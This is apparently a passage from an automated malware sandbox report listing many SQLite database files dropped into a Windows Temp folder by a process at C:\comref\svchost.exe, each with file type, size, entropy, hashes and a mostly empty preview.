                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
                                                                      Category:dropped
                                                                      Size (bytes):196608
                                                                      Entropy (8bit):1.1215420383712111
                                                                      Encrypted:false
                                                                      SSDEEP:384:r2qOB1nxCkvSAELyKOMq+8HKkjucswRv8p3:aq+n0E9ELyKOMq+8HKkjuczRv89
                                                                      MD5:9A809AD8B1FDDA60760BB6253358A1DB
                                                                      SHA1:D7BBC6B5EF1ACF8875B36DEA141C9911BADF9F66
                                                                      SHA-256:95756B4CE2E462117AF93FE5E35AD0810993D31CC6666B399BEE3B336A63219A
                                                                      SHA-512:2680CEAA75837E374C4FB28B7A0CD1F699F2DAAE7BFB895A57FDB8D9727A83EF821F2B75B91CB53E00B75468F37DC3009582FC54F5D07B2B62F3026B0185FF73
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\HbkRRR6z1T

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
                                                                      Category:dropped
                                                                      Size (bytes):196608
                                                                      Entropy (8bit):1.1215420383712111
                                                                      Encrypted:false
                                                                      SSDEEP:384:r2qOB1nxCkvSAELyKOMq+8HKkjucswRv8p3:aq+n0E9ELyKOMq+8HKkjuczRv89
                                                                      MD5:9A809AD8B1FDDA60760BB6253358A1DB
                                                                      SHA1:D7BBC6B5EF1ACF8875B36DEA141C9911BADF9F66
                                                                      SHA-256:95756B4CE2E462117AF93FE5E35AD0810993D31CC6666B399BEE3B336A63219A
                                                                      SHA-512:2680CEAA75837E374C4FB28B7A0CD1F699F2DAAE7BFB895A57FDB8D9727A83EF821F2B75B91CB53E00B75468F37DC3009582FC54F5D07B2B62F3026B0185FF73
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\HixAJOPveh

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):106496
                                                                      Entropy (8bit):1.1358696453229276
                                                                      Encrypted:false
                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                                      MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                                      SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                                      SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                                      SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\HrjTRY1aPl

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):51200
                                                                      Entropy (8bit):0.8746135976761988
                                                                      Encrypted:false
                                                                      SSDEEP:96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
                                                                      MD5:9E68EA772705B5EC0C83C2A97BB26324
                                                                      SHA1:243128040256A9112CEAC269D56AD6B21061FF80
                                                                      SHA-256:17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
                                                                      SHA-512:312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\I8riyAvUXy

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):40960
                                                                      Entropy (8bit):0.8553638852307782
                                                                      Encrypted:false
                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\IEXpcnOyrQ

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):0.5712781801655107
                                                                      Encrypted:false
                                                                      SSDEEP:12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                                      MD5:05A60B4620923FD5D53B9204391452AF
                                                                      SHA1:DC12F90925033F25C70A720E01D5F8666D0B46E4
                                                                      SHA-256:6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
                                                                      SHA-512:068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\ILFGyJrkQR

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):40960
                                                                      Entropy (8bit):0.8553638852307782
                                                                      Encrypted:false
                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\ILQDhtYWfr

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
                                                                      Category:dropped
                                                                      Size (bytes):196608
                                                                      Entropy (8bit):1.1215420383712111
                                                                      Encrypted:false
                                                                      SSDEEP:384:r2qOB1nxCkvSAELyKOMq+8HKkjucswRv8p3:aq+n0E9ELyKOMq+8HKkjuczRv89
                                                                      MD5:9A809AD8B1FDDA60760BB6253358A1DB
                                                                      SHA1:D7BBC6B5EF1ACF8875B36DEA141C9911BADF9F66
                                                                      SHA-256:95756B4CE2E462117AF93FE5E35AD0810993D31CC6666B399BEE3B336A63219A
                                                                      SHA-512:2680CEAA75837E374C4FB28B7A0CD1F699F2DAAE7BFB895A57FDB8D9727A83EF821F2B75B91CB53E00B75468F37DC3009582FC54F5D07B2B62F3026B0185FF73
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\IWPQ8EDojJ

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):51200
                                                                      Entropy (8bit):0.8746135976761988
                                                                      Encrypted:false
                                                                      SSDEEP:96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
                                                                      MD5:9E68EA772705B5EC0C83C2A97BB26324
                                                                      SHA1:243128040256A9112CEAC269D56AD6B21061FF80
                                                                      SHA-256:17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
                                                                      SHA-512:312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\IYuxF61Ypu

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):0.6732424250451717
                                                                      Encrypted:false
                                                                      SSDEEP:24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
                                                                      MD5:CFFF4E2B77FC5A18AB6323AF9BF95339
                                                                      SHA1:3AA2C2115A8EB4516049600E8832E9BFFE0C2412
                                                                      SHA-256:EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
                                                                      SHA-512:0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\IYwBZ5MgPy

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):49152
                                                                      Entropy (8bit):0.8180424350137764
                                                                      Encrypted:false
                                                                      SSDEEP:96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
                                                                      MD5:349E6EB110E34A08924D92F6B334801D
                                                                      SHA1:BDFB289DAFF51890CC71697B6322AA4B35EC9169
                                                                      SHA-256:C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
                                                                      SHA-512:2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\IlNgX09QuD

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):40960
                                                                      Entropy (8bit):0.8553638852307782
                                                                      Encrypted:false
                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\IvhnDhp502

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):49152
                                                                      Entropy (8bit):0.8180424350137764
                                                                      Encrypted:false
                                                                      SSDEEP:96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
                                                                      MD5:349E6EB110E34A08924D92F6B334801D
                                                                      SHA1:BDFB289DAFF51890CC71697B6322AA4B35EC9169
                                                                      SHA-256:C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
                                                                      SHA-512:2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\J38PKnTJHD

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):40960
                                                                      Entropy (8bit):0.8553638852307782
                                                                      Encrypted:false
                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\JAGMgvtRom

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):106496
                                                                      Entropy (8bit):1.1358696453229276
                                                                      Encrypted:false
                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                                      MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                                      SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                                      SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                                      SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\JJLMDQytFM

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
                                                                      Category:dropped
                                                                      Size (bytes):196608
                                                                      Entropy (8bit):1.1215420383712111
                                                                      Encrypted:false
                                                                      SSDEEP:384:r2qOB1nxCkvSAELyKOMq+8HKkjucswRv8p3:aq+n0E9ELyKOMq+8HKkjuczRv89
                                                                      MD5:9A809AD8B1FDDA60760BB6253358A1DB
                                                                      SHA1:D7BBC6B5EF1ACF8875B36DEA141C9911BADF9F66
                                                                      SHA-256:95756B4CE2E462117AF93FE5E35AD0810993D31CC6666B399BEE3B336A63219A
                                                                      SHA-512:2680CEAA75837E374C4FB28B7A0CD1F699F2DAAE7BFB895A57FDB8D9727A83EF821F2B75B91CB53E00B75468F37DC3009582FC54F5D07B2B62F3026B0185FF73
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\JoqHR1tr0L

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):40960
                                                                      Entropy (8bit):0.8553638852307782
                                                                      Encrypted:false
                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\Js4JwjyekJ

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                                      Category:dropped
                                                                      Size (bytes):114688
                                                                      Entropy (8bit):0.9746603542602881
                                                                      Encrypted:false
                                                                      SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                                      MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                                      SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                                      SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                                      SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\K5H9XlnP1v

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):40960
                                                                      Entropy (8bit):0.8553638852307782
                                                                      Encrypted:false
                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\K8pjyqTO4i

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
                                                                      Category:dropped
                                                                      Size (bytes):196608
                                                                      Entropy (8bit):1.1215420383712111
                                                                      Encrypted:false
                                                                      SSDEEP:384:r2qOB1nxCkvSAELyKOMq+8HKkjucswRv8p3:aq+n0E9ELyKOMq+8HKkjuczRv89
                                                                      MD5:9A809AD8B1FDDA60760BB6253358A1DB
                                                                      SHA1:D7BBC6B5EF1ACF8875B36DEA141C9911BADF9F66
                                                                      SHA-256:95756B4CE2E462117AF93FE5E35AD0810993D31CC6666B399BEE3B336A63219A
                                                                      SHA-512:2680CEAA75837E374C4FB28B7A0CD1F699F2DAAE7BFB895A57FDB8D9727A83EF821F2B75B91CB53E00B75468F37DC3009582FC54F5D07B2B62F3026B0185FF73
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\K8pnTAe2bu

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):51200
                                                                      Entropy (8bit):0.8746135976761988
                                                                      Encrypted:false
                                                                      SSDEEP:96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
                                                                      MD5:9E68EA772705B5EC0C83C2A97BB26324
                                                                      SHA1:243128040256A9112CEAC269D56AD6B21061FF80
                                                                      SHA-256:17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
                                                                      SHA-512:312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\KWykoBWWJ8

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):0.6732424250451717
                                                                      Encrypted:false
                                                                      SSDEEP:24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
                                                                      MD5:CFFF4E2B77FC5A18AB6323AF9BF95339
                                                                      SHA1:3AA2C2115A8EB4516049600E8832E9BFFE0C2412
                                                                      SHA-256:EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
                                                                      SHA-512:0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\KcQYsqvorC

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):106496
                                                                      Entropy (8bit):1.137181696973627
                                                                      Encrypted:false
                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cR/k4:MnlyfnGtxnfVuSVumEHRM4
                                                                      MD5:2D903A087A0C793BDB82F6426B1E8EFB
                                                                      SHA1:E7872CC094C598B104DA25AC6C8BEB82DAB3F08F
                                                                      SHA-256:AD67ADF2D572EF49DC95FD1A879F3AD3E0F4103DD563E713C466A1F02D57ED9A
                                                                      SHA-512:90080A361F04158C4E1CCBB3DE653FFF742C29A49523B6143B0047930FC34DC0F1D043D3C1B2B759933E1685A4CB382FD9E41B7ACDD362A2217C3810AEF95E65
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\KiA8idN8Pe

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):106496
                                                                      Entropy (8bit):1.137181696973627
                                                                      Encrypted:false
                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cR/k4:MnlyfnGtxnfVuSVumEHRM4
                                                                      MD5:2D903A087A0C793BDB82F6426B1E8EFB
                                                                      SHA1:E7872CC094C598B104DA25AC6C8BEB82DAB3F08F
                                                                      SHA-256:AD67ADF2D572EF49DC95FD1A879F3AD3E0F4103DD563E713C466A1F02D57ED9A
                                                                      SHA-512:90080A361F04158C4E1CCBB3DE653FFF742C29A49523B6143B0047930FC34DC0F1D043D3C1B2B759933E1685A4CB382FD9E41B7ACDD362A2217C3810AEF95E65
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\KvWh7B0VWU

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
                                                                      Category:dropped
                                                                      Size (bytes):196608
                                                                      Entropy (8bit):1.1215420383712111
                                                                      Encrypted:false
                                                                      SSDEEP:384:r2qOB1nxCkvSAELyKOMq+8HKkjucswRv8p3:aq+n0E9ELyKOMq+8HKkjuczRv89
                                                                      MD5:9A809AD8B1FDDA60760BB6253358A1DB
                                                                      SHA1:D7BBC6B5EF1ACF8875B36DEA141C9911BADF9F66
